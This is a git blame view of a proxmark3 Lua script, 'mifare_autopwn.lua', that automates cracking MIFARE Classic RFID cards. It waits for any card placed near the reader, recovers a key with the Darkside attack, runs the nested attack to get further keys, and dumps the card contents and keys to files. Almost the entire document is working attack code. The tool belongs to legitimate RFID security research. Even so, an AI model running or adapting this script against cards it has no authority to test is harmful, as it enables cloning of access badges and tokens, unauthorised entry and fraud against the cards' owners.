]> cvs.zerfleddert.de Git - proxmark3-svn/blame - client/scripts/mifare_autopwn.lua
CHG: this timing should be quite good. needs to be verified.
[proxmark3-svn] / client / scripts / mifare_autopwn.lua
CommitLineData
0dae56d8 1local getopt = require('getopt')
2local reader = require('read14a')
3local cmds = require('commands')
4
5example = "script run mifare_autopwn"
6author = "Martin Holst Swende"
7
8
9desc =
10[[
11This is a which automates cracking and dumping mifare classic cards. It sets itself into
12'listening'-mode, after which it cracks and dumps any mifare classic card that you
13place by the device.
14
15Arguments:
16 -d debug logging on
17 -h this help
18
19Output files from this operation:
20 <uid>.eml - emulator file
21 <uid>.html - html file containing card data
22 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
23 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
24
25]]
26
27-------------------------------
28-- Some utilities
29-------------------------------
30local DEBUG = false
b62cbadb 31local MIFARE_AUTH_KEYA = 0x60
32local MIFARE_AUTH_KEYB = 0x61
0dae56d8 33---
34-- A debug printout-function
35function dbg(args)
36 if DEBUG then
37 print(":: ", args)
38 end
39end
40---
41-- This is only meant to be used when errors occur
42function oops(err)
43 print("ERROR: ",err)
44 return nil,err
45end
46
47---
48-- Usage help
49function help()
50 print(desc)
51 print("Example usage")
52 print(example)
53end
54
55---
56-- Waits for a mifare card to be placed within the vicinity of the reader.
57-- @return if successfull: an table containing card info
58-- @return if unsuccessfull : nil, error
59function wait_for_mifare()
60 while not core.ukbhit() do
61 res, err = reader.read1443a()
62 if res then return res end
63 -- err means that there was no response from card
64 end
65 return nil, "Aborted by user"
66end
67
68function mfcrack()
69 core.clearCommandBuffer()
70 -- Build the mifare-command
b62cbadb 71 local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}
0dae56d8 72
73 local retry = true
74 while retry do
75 core.SendCommand(cmd:getBytes())
76 local key, errormessage = mfcrack_inner()
77 -- Success?
78 if key then return key end
79 -- Failure?
80 if errormessage then return nil, errormessage end
81 -- Try again..set arg1 to 0 this time.
82
b62cbadb 83 cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}
0dae56d8 84 end
85 return nil, "Aborted by user"
86end
87
0dae56d8 88function mfcrack_inner()
89 while not core.ukbhit() do
90 local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
91 if result then
0dae56d8 92
7838f4be 93 --[[
94 I don't understand, they cmd and args are defined as uint32_t, however,
95 looking at the returned data, they all look like 64-bit things:
96
97 print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
98
99 FF 00 00 00 00 00 00 00 <-- 64 bits of data
100 FE FF FF FF 00 00 00 00 <-- 64 bits of data
101 00 00 00 00 00 00 00 00 <-- 64 bits of data
102 00 00 00 00 00 00 00 00 <-- 64 bits of data
103 04 7F 12 E2 00 <-- this is where 'data' starts
104
105 So below I use LI to pick out the "FEFF FFFF", don't know why it works..
106 --]]
107 -- Unpacking the arg-parameters
108 local count,cmd,isOK = bin.unpack('LI',result)
109 --print("response", isOK)--FF FF FF FF
110 if isOK == 0xFFFFFFFF then
111 return nil, "Button pressed. Aborted."
112 elseif isOK == 0xFFFFFFFE then
113 return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
114 elseif isOK == 0xFFFFFFFD then
115 return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
0de8e387 116 elseif isOK == 0xFFFFFFFC then
3bc7b13d 117 return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
7838f4be 118 elseif isOK ~= 1 then
119 return nil, "Error occurred"
120 end
0dae56d8 121
122
123 -- The data-part is left
124 -- Starts 32 bytes in, at byte 33
125 local data = result:sub(33)
126
127 -- A little helper
128 local get = function(num)
129 local x = data:sub(1,num)
130 data = data:sub(num+1)
131 return x
132 end
133
134 local uid,nt,pl = get(4),get(4),get(8)
135 local ks,nr = get(8),get(4)
136
fed12277 137 local status, key = core.nonce2key(uid, nt, nr, pl, ks)
0dae56d8 138 if not status then return status,key end
139
140 if status > 0 then
141 print("Key not found (lfsr_common_prefix problem)")
142 -- try again
143 return nil,nil
144 else
145 return key
146 end
147 end
148 end
149 return nil, "Aborted by user"
150end
151
51defdd4 152function nested(key,sak)
153 local typ = 1
154 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
155 typ = 4
156 elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
157 typ= 1
158 elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
159 typ = 0
160 elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
161 typ = 2
c15d2bdc 162 elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
163 typ = 1
51defdd4 164 else
165 print("I don't know how many sectors there are on this type of card, defaulting to 16")
166 end
167 local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
0dae56d8 168 core.console(cmd)
169end
170
171function dump(uid)
172 core.console("hf mf dump")
173 -- Save the global args, those are *our* arguments
174 local myargs = args
175 -- Set the arguments for htmldump script
176 args =("-o %s.html"):format(uid)
177 -- call it
178 require('../scripts/htmldump')
179
180 args =""
181 -- dump to emulator
182 require('../scripts/dumptoemul')
183 -- Set back args. Not that it's used, just for the karma...
184 args = myargs
185end
186
187---
188-- The main entry point
189function main(args)
190
51defdd4 191 local verbose, exit,res,uid,err,_,sak
0dae56d8 192 local seen_uids = {}
fed12277 193 local print_message = true
0dae56d8 194 -- Read the parameters
195 for o, a in getopt.getopt(args, 'hd') do
196 if o == "h" then help() return end
197 if o == "d" then DEBUG = true end
198 end
199
200 while not exit do
fed12277 201 if print_message then
202 print("Waiting for card or press any key to stop")
203 print_message = false
204 end
0dae56d8 205 res, err = wait_for_mifare()
206 if err then return oops(err) end
207 -- Seen already?
208 uid = res.uid
51defdd4 209 sak = res.sak
0dae56d8 210 if not seen_uids[uid] then
211 -- Store it
212 seen_uids[uid] = uid
fed12277 213 print("Card found, commencing crack on UID", uid)
0dae56d8 214 -- Crack it
215 local key, cnt
216 res,err = mfcrack()
217 if not res then return oops(err) end
b9697139 218 -- The key is actually 8 bytes, so a
219 -- 6-byte key is sent as 00XXXXXX
220 -- This means we unpack it as first
221 -- two bytes, then six bytes actual key data
222 -- We can discard first and second return values
223 _,_,key = bin.unpack("H2H6",res)
80853774 224 print("Found valid key: "..key);
0dae56d8 225
226 -- Use nested attack
51defdd4 227 nested(key,sak)
0dae56d8 228 -- Dump info
229 dump(uid)
fed12277 230 print_message = true
0dae56d8 231 end
232 end
233end
234
235-- Call the main
236main(args)
Impressum, Datenschutz